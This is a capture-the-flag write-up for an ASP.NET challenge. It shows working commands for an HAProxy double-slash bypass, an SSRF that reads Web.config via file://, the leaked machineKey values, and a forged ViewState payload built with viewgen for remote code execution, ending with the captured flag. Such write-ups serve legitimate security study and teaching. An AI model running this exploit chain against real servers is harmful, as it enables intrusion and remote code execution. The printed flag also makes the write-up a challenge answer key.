I hate windows (there are two pages /login.aspx and /admin.aspx). This challenge involves bypassing authentication proxies, exploiting SSRF to leak machine keys, and forging malicious ViewState payloads for Remote Code Execution (RCE).
Challenge Overview
| Field | Value |
|---|---|
| URL | http://4.188.81.42/login.aspx |
| Attachment | public.zip |
Tools Used
| Tool | Purpose | Installation |
|---|---|---|
curl |
HTTP requests | Pre-installed on macOS/Linux |
viewgen |
ViewState payload generation | git clone https://github.com/0xacb/viewgen.git |
monodis |
.NET DLL disassembly | brew install mono (macOS) |
grep/awk |
Text processing | Pre-installed |
Reconnaissance
Step 1: Analyze the Provided Files
Extract and examine the challenge files:
unzip public.zip
ls -la public/
Key files discovered:
login.aspx- Login page with password authenticationadmin.aspx- Protected admin page with healthcheck functionalityhealth.ashx- HTTP handler for healthcheck (potential SSRF)HealthHandler.cs- Source code for the health handlerbin/backdoor-chall.dll- Compiled application logic
Step 2: Decompile the DLL
Using monodis to examine the application logic:
monodis public/bin/backdoor-chall.dll > decompiled.il
Key findings from decompilation:
- Login Logic (
LoginBtn_Click):
// Password is read from ADMIN_PASS environment variable
// Falls back to "letmein" if not set
string password = Environment.GetEnvironmentVariable("ADMIN_PASS") ?? "letmein";
-
Admin Page Protection: Returns 403 for direct access
-
CSRF Token Validation: Triple validation required:
- Cookie:
__AntiXsrfToken - Header:
X-AntiXsrf - Session:
ANTI_XSRF
- Cookie:
Step 3: Identify the Attack Surface
From HealthHandler.cs:
// SSRF vulnerability - accepts arbitrary URLs including file://
using (var client = new WebClient())
{
client.Headers.Add(HttpRequestHeader.UserAgent, "AdminHealthCheck-WebClient/1.0");
content = await client.DownloadStringTaskAsync(target);
}
Exploitation
Step 1: Bypass HAProxy to Access Admin Page
The admin page returns 403 when accessed directly. Using path normalization bypass:
# Normal access - blocked
curl -v "http://4.188.81.42/admin.aspx"
# Returns: 403 Forbidden
# HAProxy bypass using double slash
curl -c cookies.txt "http://4.188.81.42//admin.aspx"
# Returns: 200 OK with admin page
Step 2: Extract CSRF Tokens and Session
# Get fresh session with valid tokens
curl -s -c cookies.txt "http://4.188.81.42//admin.aspx" -o admin_response.html
# Extract the CSRF token from cookies
CSRF=$(grep __AntiXsrf cookies.txt | awk '{print $7}')
echo "CSRF Token: $CSRF"
Step 3: Test SSRF Vulnerability
With valid session and CSRF tokens, test the SSRF:
# Read local files via file:// protocol
curl -s -b cookies.txt "http://4.188.81.42/health.ashx" \
-X POST \
-H "Content-Type: application/json" \
-H "X-AntiXsrf: $CSRF" \
-d '{"url": "file:///C:/inetpub/wwwroot/Web.config"}'
Retrieved web.config with machineKey:
<machineKey
validationKey="AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B"
decryptionKey="AB4298433692C6911B75665DEFA47AD09EA856BE41879334"
validation="SHA1"
decryption="AES" />
Step 4: ViewState Deserialization Attack
With the machineKey, we can forge malicious ViewState payloads that execute arbitrary code on deserialization.
Get the ViewState Generator Value
From the admin page response, extract __VIEWSTATEGENERATOR:
<input type="hidden" name="__VIEWSTATEGENERATOR" value="67467B03" />
Generate Malicious ViewState Payload
Using viewgen to create an RCE payload:
# Generate payload that executes a command
python3 viewgen/viewgen \
-c "dir C:\\inetpub\\wwwroot" \
--vkey "AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B" \
--valg "SHA1" \
--dkey "AB4298433692C6911B75665DEFA47AD09EA856BE41879334" \
--dalg "AES" \
-m "67467B03" \
-e
Parameters explained:
| Parameter | Value | Description |
|---|---|---|
-c |
Command to execute | Passed to cmd.exe /c |
--vkey |
AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B |
Validation key from machineKey |
--valg |
SHA1 |
Validation algorithm |
--dkey |
AB4298433692C6911B75665DEFA47AD09EA856BE41879334 |
Decryption key from machineKey |
--dalg |
AES |
Decryption algorithm |
-m |
67467B03 |
ViewState generator value |
-e |
- | Enable encryption |
Step 5: Execute the Payload
# Store the payload
PAYLOAD=$(python3 viewgen/viewgen -c "dir C:\\inetpub\\wwwroot" \
--vkey "AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B" \
--valg "SHA1" \
--dkey "AB4298433692C6911B75665DEFA47AD09EA856BE41879334" \
--dalg "AES" \
-m "67467B03" \
-e 2>/dev/null)
# Send malicious ViewState to trigger deserialization
curl -s -b cookies.txt "http://4.188.81.42//admin.aspx" \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "__VIEWSTATE=$PAYLOAD" \
--data-urlencode "__VIEWSTATEGENERATOR=67467B03"
Step 6: Exfiltrate Command Output via SSRF
The RCE writes output to a file, which we read via SSRF:
# Command output revealed the flag file: flag_sn62nvdjk248sjdfnj.txt
# Read the flag using SSRF
curl -s -b cookies.txt "http://4.188.81.42/health.ashx" \
-X POST \
-H "Content-Type: application/json" \
-H "X-AntiXsrf: $CSRF" \
-d '{"url": "file:///C:/inetpub/wwwroot/flag_sn62nvdjk248sjdfnj.txt"}'
Response:
{
"ok": true,
"statusCode": 200,
"snippet": "flag{tlqp8s5h_eurzla5g_feepuqi9_qsgmjxj5_mcmd2kt8}",
"error": null
}
References
- ysoserial.net - .NET deserialization payload generator
- viewgen - ASP.NET ViewState generator (cross-platform)
- CVE-2020-0688 - Similar machineKey exploitation
- HackTricks - ViewState Deserialization